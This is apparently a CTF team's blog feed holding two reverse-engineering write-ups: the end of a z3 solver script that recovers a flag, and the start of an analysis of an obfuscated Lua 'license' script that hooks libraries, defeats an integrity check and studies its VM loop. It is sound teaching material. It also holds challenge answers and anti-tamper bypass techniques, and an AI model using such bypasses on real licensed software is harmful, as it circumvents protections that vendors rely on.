</span></span><span style="display:flex;"><span>SUM =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SUB =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>MUL =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>DIV =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>BOOL =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>TRUE =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>FALSE =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>AND =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>OR =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>NOT =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>EQ =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>GT =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>LT =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PROGRAM =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SKIP =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SEQ =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>ASSIGN =	<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>IF =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>WHILE =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>SYNC =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>CRIT =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>THREAD =	<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>NULL =		<span style="color:#fc6a5d">&#39;llllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>TH =		<span style="color:#fc6a5d">&#39;lllllllllllllllllllllllllllllllllllllllllllllllllllllllll&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>operations = {
</span></span><span style="display:flex;"><span>	EXP: <span style="color:#fc6a5d">&#39;Exp&#39;</span>,
</span></span><span style="display:flex;"><span>	CONST: <span style="color:#fc6a5d">&#39;Const&#39;</span>,
</span></span><span style="display:flex;"><span>	VAR: <span style="color:#fc6a5d">&#39;Var&#39;</span>,
</span></span><span style="display:flex;"><span>	SUM: <span style="color:#fc6a5d">&#39;Sum&#39;</span>,
</span></span><span style="display:flex;"><span>	SUB: <span style="color:#fc6a5d">&#39;Sub&#39;</span>,
</span></span><span style="display:flex;"><span>	MUL: <span style="color:#fc6a5d">&#39;Mul&#39;</span>,
</span></span><span style="display:flex;"><span>	DIV: <span style="color:#fc6a5d">&#39;Div&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	BOOL: <span style="color:#fc6a5d">&#39;Bool&#39;</span>,
</span></span><span style="display:flex;"><span>	TRUE: <span style="color:#fc6a5d">&#39;True&#39;</span>,
</span></span><span style="display:flex;"><span>	FALSE: <span style="color:#fc6a5d">&#39;False&#39;</span>,
</span></span><span style="display:flex;"><span>	AND: <span style="color:#fc6a5d">&#39;And&#39;</span>,
</span></span><span style="display:flex;"><span>	OR: <span style="color:#fc6a5d">&#39;Or&#39;</span>,
</span></span><span style="display:flex;"><span>	NOT: <span style="color:#fc6a5d">&#39;Not&#39;</span>,
</span></span><span style="display:flex;"><span>	EQ: <span style="color:#fc6a5d">&#39;Eq&#39;</span>,
</span></span><span style="display:flex;"><span>	GT: <span style="color:#fc6a5d">&#39;Gt&#39;</span>,
</span></span><span style="display:flex;"><span>	LT: <span style="color:#fc6a5d">&#39;Lt&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PROGRAM: <span style="color:#fc6a5d">&#39;Program&#39;</span>,
</span></span><span style="display:flex;"><span>	SKIP: <span style="color:#fc6a5d">&#39;Skip&#39;</span>,
</span></span><span style="display:flex;"><span>	SEQ: <span style="color:#fc6a5d">&#39;Seq&#39;</span>,
</span></span><span style="display:flex;"><span>	ASSIGN: <span style="color:#fc6a5d">&#39;Assign&#39;</span>,
</span></span><span style="display:flex;"><span>	IF: <span style="color:#fc6a5d">&#39;If&#39;</span>,
</span></span><span style="display:flex;"><span>	WHILE: <span style="color:#fc6a5d">&#39;While&#39;</span>,
</span></span><span style="display:flex;"><span>	SYNC: <span style="color:#fc6a5d">&#39;Sync&#39;</span>,
</span></span><span style="display:flex;"><span>	CRIT: <span style="color:#fc6a5d">&#39;Crit&#39;</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	THREAD: <span style="color:#fc6a5d">&#39;Thread&#39;</span>,
</span></span><span style="display:flex;"><span>	NULL: <span style="color:#fc6a5d">&#39;Null&#39;</span>,
</span></span><span style="display:flex;"><span>	TH: <span style="color:#fc6a5d">&#39;Th&#39;</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">############################## DEOBFUSCATION ##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start = <span style="color:#fc6a5d">&#39;val lll = &#39;</span>
</span></span><span style="display:flex;"><span>ast = code[<span style="color:#d0bf69">179</span>][<span style="color:#d0a8ff">len</span>(start):-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>subs = <span style="color:#d0a8ff">sorted</span>(operations.items(), reverse=<span style="color:#fc5fa3">True</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> sub, name in subs:
</span></span><span style="display:flex;"><span>	ast = ast.replace(sub, name)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_chars = [<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;&#34;</span><span style="color:#fc6a5d">{</span> <span style="color:#fc6a5d">&#34;l&#34;</span> * (i+<span style="color:#d0bf69">1</span>) <span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;&#39;</span> <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">29</span>)]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(flag_chars)-<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	ast = ast.replace(flag_chars[i], <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;&#34;c_</span><span style="color:#fc6a5d">{</span>i<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;&#39;</span>)
</span></span><span style="display:flex;"><span>ast = ast.replace(<span style="color:#fc6a5d">&#39;l&#39;</span> * <span style="color:#d0bf69">30</span>, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;correct&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">############################## OPERATION BLOCKS SPLIT ##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>blocks = ast.split(<span style="color:#fc6a5d">&#39;Th&#39;</span>)[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">extract_from_block</span>(block):
</span></span><span style="display:flex;"><span>	values = {}
</span></span><span style="display:flex;"><span>	splitted_block = block.split(<span style="color:#fc6a5d">&#39;Var &#34;&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0a8ff">len</span>(splitted_block)):
</span></span><span style="display:flex;"><span>		var, val = splitted_block[i].split(<span style="color:#fc6a5d">&#39;)&#39;</span>)[<span style="color:#d0bf69">0</span>].split(<span style="color:#fc6a5d">&#39;&#34;, Const &#39;</span>)
</span></span><span style="display:flex;"><span>		var = <span style="color:#d0a8ff">int</span>(var.split(<span style="color:#fc6a5d">&#39;_&#39;</span>)[<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>		values[var] = <span style="color:#d0a8ff">int</span>(val)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> values
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>layers = []
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(blocks) - <span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	layers.append(extract_from_block(blocks[i]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">############################## EQAUATION SYSTEM SOLVING ##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">extract_equation</span>(block):
</span></span><span style="display:flex;"><span>	tmp = block.split(<span style="color:#fc6a5d">&#39;Mul&#39;</span>)[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>	values = {}
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> i, mul in <span style="color:#d0a8ff">enumerate</span>(tmp):
</span></span><span style="display:flex;"><span>		mul = mul[<span style="color:#d0a8ff">len</span>(<span style="color:#fc6a5d">&#39;(Const &#39;</span>):]
</span></span><span style="display:flex;"><span>		val, var = mul.split(<span style="color:#fc6a5d">&#39;Var &#34;&#39;</span>)
</span></span><span style="display:flex;"><span>		var = var.split(<span style="color:#fc6a5d">&#39;&#34;)&#39;</span>)[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> val[<span style="color:#d0bf69">0</span>] == <span style="color:#fc6a5d">&#39;(&#39;</span>:
</span></span><span style="display:flex;"><span>			val = - <span style="color:#d0a8ff">int</span>(val.split(<span style="color:#fc6a5d">&#39; - &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">3</span>])
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>			val = <span style="color:#d0a8ff">int</span>(val[:-<span style="color:#d0bf69">2</span>])
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> i == (<span style="color:#d0a8ff">len</span>(tmp)-<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>			const = mul.split(<span style="color:#fc6a5d">&#39;Const &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">3</span>]
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> const[<span style="color:#d0bf69">0</span>] == <span style="color:#fc6a5d">&#39;(&#39;</span>:
</span></span><span style="display:flex;"><span>				const = - <span style="color:#d0a8ff">int</span>(const.split(<span style="color:#fc6a5d">&#39; - &#39;</span>)[<span style="color:#d0bf69">1</span>][:-<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>				const = <span style="color:#d0a8ff">int</span>(const)
</span></span><span style="display:flex;"><span>		var = <span style="color:#d0a8ff">int</span>(var.split(<span style="color:#fc6a5d">&#39;_&#39;</span>)[<span style="color:#d0bf69">1</span>])
</span></span><span style="display:flex;"><span>		values[var] = val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> values, const
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>last_block = [check <span style="color:#fc5fa3">for</span> check in blocks[-<span style="color:#d0bf69">1</span>].split(<span style="color:#fc6a5d">&#39;If&#39;</span>) <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#39;correct&#39;</span> not in check][<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> z3 <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_chars = [BitVec(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;c_</span><span style="color:#fc6a5d">{</span>i<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>, <span style="color:#d0bf69">16</span>) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">29</span>)]
</span></span><span style="display:flex;"><span>s = Solver()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> sub_block in last_block:
</span></span><span style="display:flex;"><span>	values, const = extract_equation(sub_block)
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># print(values, const)</span>
</span></span><span style="display:flex;"><span>	equation = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> var, val in values.items():
</span></span><span style="display:flex;"><span>		equation += val * flag_chars[var]
</span></span><span style="display:flex;"><span>	s.add(equation == const)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Checking...&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> s.check() == sat:
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Sat&#39;</span>)
</span></span><span style="display:flex;"><span>	m = s.model()
</span></span><span style="display:flex;"><span>	flag = [m[c].as_long() <span style="color:#fc5fa3">for</span> c in flag_chars]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Unsat&#39;</span>)
</span></span><span style="display:flex;"><span>	exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">############################## INVERTING BLOCKS ##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SUM = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>SUB = <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>MUL = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>signs = [SUM, MUL, SUB, SUM, SUB, SUB, MUL, SUM]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(layers)-<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>, -<span style="color:#d0bf69">1</span>):
</span></span><span style="display:flex;"><span>	sign = signs[i]
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> sign == SUM:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] -= val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> sign == SUB:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] += val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">elif</span> sign == MUL:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> var, val in layers[i].items():
</span></span><span style="display:flex;"><span>			flag[var] //= val
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Error&#39;</span>)
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">############################## FLAG ##############################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(flag)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#d0a8ff">bytes</span>(flag))
</span></span></code></pre></div><h2 id="flag">Flag</h2>
<p><code>TRX{while_language_is_funny}</code></p>
]]></content></item><item><title>TRX CTF 25 - lost</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-lost/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-lost/</guid><description>&lt;h2 id="challenge-description">Challenge Description&lt;/h2>
&lt;p>I once had a license for this script, but now all I have left is myself; just me and only me. I won’t get lost..
&amp;hellip;&lt;/p>
&lt;h2 id="lost-overview">Lost Overview&lt;/h2>
&lt;p>We are given a &lt;code>lost.lua&lt;/code> script. A quick glance reveals that the script is obfuscated, and the &lt;strong>input flag&lt;/strong> is defined as a global variable at the top (e.g., &lt;code>FLAG=TRX{goodluck_...}&lt;/code>). According to the challenge description, this flag represents our license key.&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge-description">Challenge Description</h2>
<p>I once had a license for this script, but now all I have left is myself; just me and only me. I won’t get lost..
&hellip;</p>
<h2 id="lost-overview">Lost Overview</h2>
<p>We are given a <code>lost.lua</code> script. A quick glance reveals that the script is obfuscated, and the <strong>input flag</strong> is defined as a global variable at the top (e.g., <code>FLAG=TRX{goodluck_...}</code>). According to the challenge description, this flag represents our license key.</p>
<p>To ensure the script works with various Lua versions, I tested it using different interpreters, including <em>luau</em> and <em>luajit 2.1.0</em>:</p>
<pre tabindex="0"><code>$$\                       $$\
$$ |                      $$ |
$$ | $$$$$$\   $$$$$$$\ $$$$$$\
$$ |$$  __$$\ $$  _____|\_$$  _|
$$ |$$ /  $$ |\$$$$$$\    $$ |
$$ |$$ |  $$ | \____$$\   $$ |$$\
$$ |\$$$$$$  |$$$$$$$  |  \$$$$  |
\__| \______/ \_______/    \____/

this flag is weird, try again!
[never exit]
</code></pre><p>The script runs correctly on these interpreters, so we can proceed with examining its output.</p>
<p>It seems that the script does not like the default flag. I even tried running it without setting a flag:</p>
<pre tabindex="0"><code>...
Make sure to set the FLAG variable before running the challenge!
Ex: FLAG = &#39;TRX{goodluck}&#39;;
</code></pre><p>At the end of the script, there is a long encoded string that appears to be compressed data used during execution. For now, we treat it as <strong>bytecode</strong></p>
<h2 id="lost-first-analysis">Lost First Analysis</h2>
<p>Before diving into the complexities of <code>lost</code>, we set up a proper environment for analysis. The first step is to beautify the script.</p>
<blockquote>
<p>There are many tools available online or on GitHub <br>for example: <a href="https://goonlinetools.com/lua-beautifier/">lua-beautifier</a>.</p></blockquote>
<p>Now when making sure that the script still work we will notice that executing the beautified version doesn&rsquo;t give us the expected output, at this point we need to figure out wheter is the beautified output problem or script integrity check&hellip;</p>
<p>I tried a simple modification by extending the second line (for example, to <code>200</code>). Running the script still produced the same behavior, confirming that an integrity check is indeed in place.</p>
<p><em>Returning to the beautified script..</em></p>
<p>Next, we set up a hook library to trace which library functions are used and where:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> dbg_getinfo = debug.getinfo;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> str_format = string.format;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> tbl_foreach = table.foreach;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> <span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">hook_library</span>(library_name, meta_methods)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> old_library = _G[library_name];
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> new_mt = {};
</span></span><span style="display:flex;"><span>    new_mt.__old = old_library;
</span></span><span style="display:flex;"><span>    new_mt.__name = library_name;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> k, v <span style="color:#fc5fa3">in</span> pairs(meta_methods) <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>        new_mt[k] = v;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>    _G[library_name] = setmetatable({}, new_mt)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> general_meta_logger = {
</span></span><span style="display:flex;"><span>    __index = <span style="color:#fc5fa3">function</span>(self, idx)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">local</span> mt = getmetatable(self);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">local</span> index_line = dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline;
</span></span><span style="display:flex;"><span>        print(str_format(<span style="color:#fc6a5d">&#34;__index: %s; index: %s from line %d&#34;</span>, mt.__name, idx, index_line));
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">local</span> value = mt.__old[idx];
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> value;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>    __newindex = <span style="color:#fc5fa3">function</span>(self, idx, value)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">local</span> mt = getmetatable(self);
</span></span><span style="display:flex;"><span>        print(str_format(
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;__newindex: %s; index: %s; old value: %s, value: %s from line %d&#34;</span>,
</span></span><span style="display:flex;"><span>            mt.__name, idx, mt.__old[idx], value, dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline
</span></span><span style="display:flex;"><span>        ));
</span></span><span style="display:flex;"><span>        mt.__old[idx] = value;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- hooks</span>
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;debug&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;string&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;math&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;table&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;io&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;os&#34;</span>, general_meta_logger)
</span></span><span style="display:flex;"><span>hook_library(<span style="color:#fc6a5d">&#34;coroutine&#34;</span>, general_meta_logger)
</span></span></code></pre></div><blockquote>
<p>Note: This hook method works on LuaJIT but not on Luau, which enforces strict sandbox rules that prevent overwriting libraries.</p></blockquote>
<p>The hook output reveals interesting logs:</p>
<pre tabindex="0"><code>__index: table; index: concat from line 59
__index: math; index: ldexp from line 60
__index: table; index: insert from line 68
__index: debug; index: getinfo from line 457
__index: debug; index: getinfo from line 1887
</code></pre><p>It appears the script uses <code>debug.getinfo</code> to retrieve context information. Although we could further hook debug.getinfo to see which fields are accessed, but only currentline, lastlinedefined, and linedefined are relevant for the integrity check.</p>
<p>By removing <code>debug.getinfo</code> via our hook, we notice the script attempting to use <code>debug.traceback</code>. At this point, we undefine <code>debug</code> library to see how the script behaves:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- FLAG = &#34;...</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- one of those two methods is fine</span>
</span></span><span style="display:flex;"><span>_G[<span style="color:#fc6a5d">&#34;debug&#34;</span>] = <span style="color:#fc5fa3">nil</span>;
</span></span><span style="display:flex;"><span>debug = <span style="color:#fc5fa3">nil</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- script...</span>
</span></span></code></pre></div><p>Running the beautified script now works flawlessly.</p>
<blockquote>
<p>Note: The script doesn’t crash if the debug library is missing, that&rsquo;s for env compatibility reasons.</p></blockquote>
<h3 id="beautifier-check-logic">Beautifier Check Logic</h3>
<p>Here is the reconstructed integrity check logic:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> debug <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> debug.getinfo(<span style="color:#d0bf69">1</span>).currentline &gt; <span style="color:#d0bf69">100</span> or tonumber(debug.traceback():match(<span style="color:#fc6a5d">&#39;:(%d+)&#39;</span>)); <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- CRASH();</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>At this point, I searched for a <code>while true do</code> loop and, unsurprisingly, found one. This strongly suggests that the script implements a VM cycle that executes instructions:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">true</span> <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.H
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">101</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">50</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">24</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">11</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">5</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">2</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">0</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#fc5fa3">local</span> i
</span></span><span style="display:flex;"><span>                                <span style="color:#fc5fa3">local</span> t
</span></span><span style="display:flex;"><span>                                <span style="color:#6c7986">-- mov operation on stack</span>
</span></span><span style="display:flex;"><span>                                S[c.c] = S[c.S]
</span></span><span style="display:flex;"><span>                                <span style="color:#6c7986">-- increasing pc</span>
</span></span><span style="display:flex;"><span>                                e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#6c7986">-- changing current instruction</span>
</span></span><span style="display:flex;"><span>                                c = l[e]
</span></span></code></pre></div><blockquote>
<p>Instructions seem to be located using a binary search, and there are two types of program counters: one for retrieving instruction data (instruction pc) and one for locating the instruction operation (instruction vmpc).</p></blockquote>
<h2 id="lost-vm-analysis">Lost VM Analysis</h2>
<p>Based on our observations, we expect the script to deserialize bytecode and load constants and instructions.</p>
<p>Scrolling up in the main VM cycle, we find the following logic:</p>
